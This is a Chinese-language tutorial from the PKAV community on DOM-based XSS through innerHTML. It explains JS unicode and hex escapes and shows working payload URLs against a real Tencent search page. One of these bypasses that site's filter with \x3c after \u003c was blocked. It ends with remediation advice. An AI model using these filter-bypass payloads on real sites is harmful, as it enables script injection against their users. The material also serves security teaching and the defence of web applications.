8.DOM XSS[显示输出]

作者:心伤的瘦子

来自:PKAV技术宅社区

网址:http://www.pkav.net

------------------------------------------------------------------------------------

简要描述:

反射型XSS部分,就到这里了。接着我们进入DomXss的部分。DomXss相比反射型XSS,脑袋需要多思考一层。也就是说,我们关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么。为了循序渐进,本例讲到的是,【输出】直接在源代码可见的情况。

详细说明:

1.在学习Dom Xss之前,先来补习点html,js的基础知识。

<divid="a">xxx</div>
<script>
document.getElementById("a").innerHTML="yyyyyy";
</script>

解释如下:

2.进一步,我们的yyyyyy,还可以是HTML代码。

<divid="a">xxx</div>
<script>
document.getElementById("a").innerHTML="<img src=1>";
</script>

效果如下:

3.再进一步,JS的字符串中的字符可以写为unicode编码。

譬如:<可以表示为\u003c,>可以表示为\u003e

不知道怎么转义的,可以使用gainover的工具。

工具地址:http://app.baidu.com/app/enter?appid=280383

也就是,我们上面的代码,可以进一步写为:

<div id="a">xxx</div>
<script>
 document.getElementById("a").innerHTML="\u003cimg src=1\u003e";
</script>

4.上面看起来废话好多,但是还是很重要的,这对于后面实例的讲解很重要。

5.我们来看看一个具体的实例,地址如下:

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

和前面反射型的一样,我们先看看输出:

相关代码,我也贴出来:

<strongid="titleshow">按职业1检索:aaaaaaa</strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地区检索:全部明星";
if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业2")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业3")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
</script>

6.一共有6处,有一处图上没显示,但是也没用处,这里不列出来了,看上面代码中的5处。我们已经知道,<,>,"都被过滤了,用前面提到的某些技巧,似乎也无法直接XSS。那么该怎么办呢?

7.在看到本教程的1,2,3部分后,聪明的你们不知道会不会想到些什么呢?

对的,那就是这里出现了innerHTML="[输出]"的情况。

我们可以看到,上面代码中,实际上只有一句是运行了的。我们重点看它。

if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:[输出]";

8.这里[输出]虽然过滤了<,>,但是并没有过滤\。这样一来,大家应该清楚,为什么上面要说到<可以写为\u003c了吧。就是为了应付这种情况。

9.因此,我们可以构造缺陷点的代码如下:

if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:\u003cimg src=1 οnerrοr=alert(1)\u003e";

经过运行后,titleshow里的HTML就会变为<imgsrc=1οnerrοr=alert(1)>,从而弹出1

10.对应的,我们的利用代码,可以写为如下,其中空格,我写为了\u0020

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020οnerrοr=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml

11.看看对应的源代码,悲催的事情出现了,\u003c和\u003e竟然被腾讯过滤了。。。

12.别灰心,被过滤的原因,是因为@Jannock大牛在乌云报告过这个漏洞。

WooYun: 跨站脚本-可以让战场离得更远(浅谈腾讯架构缺陷)

其实我们还应该注意到上面图片中,过滤的实际上是\u003c和\u003e,但是并没有过滤\u0020,这说明,腾讯只是针对性的过滤,并没有过滤反斜线。

13.其实呢,在JS字符串里,<不光可以写为\u003c,还可以写为\x3c,>同样可以写为\x3e。我们试试腾讯过滤了这个没有呢?

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e&attr=133&stype=2&tname=star_second.s

14.对应源码,看来没过滤啊~~

哎呀,这次总算弹出来了。见漏洞证明

15.最后总结下。本例中是innerHTML的情况。

实际上只要是与改变页面HTML内容相关的操作,都可能导致这种问题。

这也是网上介绍dom xss时,也经常会提到的东西,

比如

document.getElementById("y").innerHTML="xxxxxxxxxx";
document.write("xxxxxxxxxxxx");

 

还有一些网站,使用了第三方的JS库,譬如jQuery时,会有

当然最后,还需要提到一些需要注意的地方。

$("#y").html("xxxxxxx");

这种情况下。xxxxx只能使用<img src=1 οnerrοr=alert(1)>这种方式来触发JS。

而不能以 <script>alert(1)</script> 来触发,因为这种压根不会执行<script>..</script>之间的内容。 IE下,可以使用 <script defer>alert(1)</script>。

漏洞证明:

修复方案:

此案例凸显出开发人员的意识不足问题。指哪修哪,浮于表面的修复没有任何意义。

方法1. 输出时,过滤 \
方法2. innerHTML=encodeHTML([输出])

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章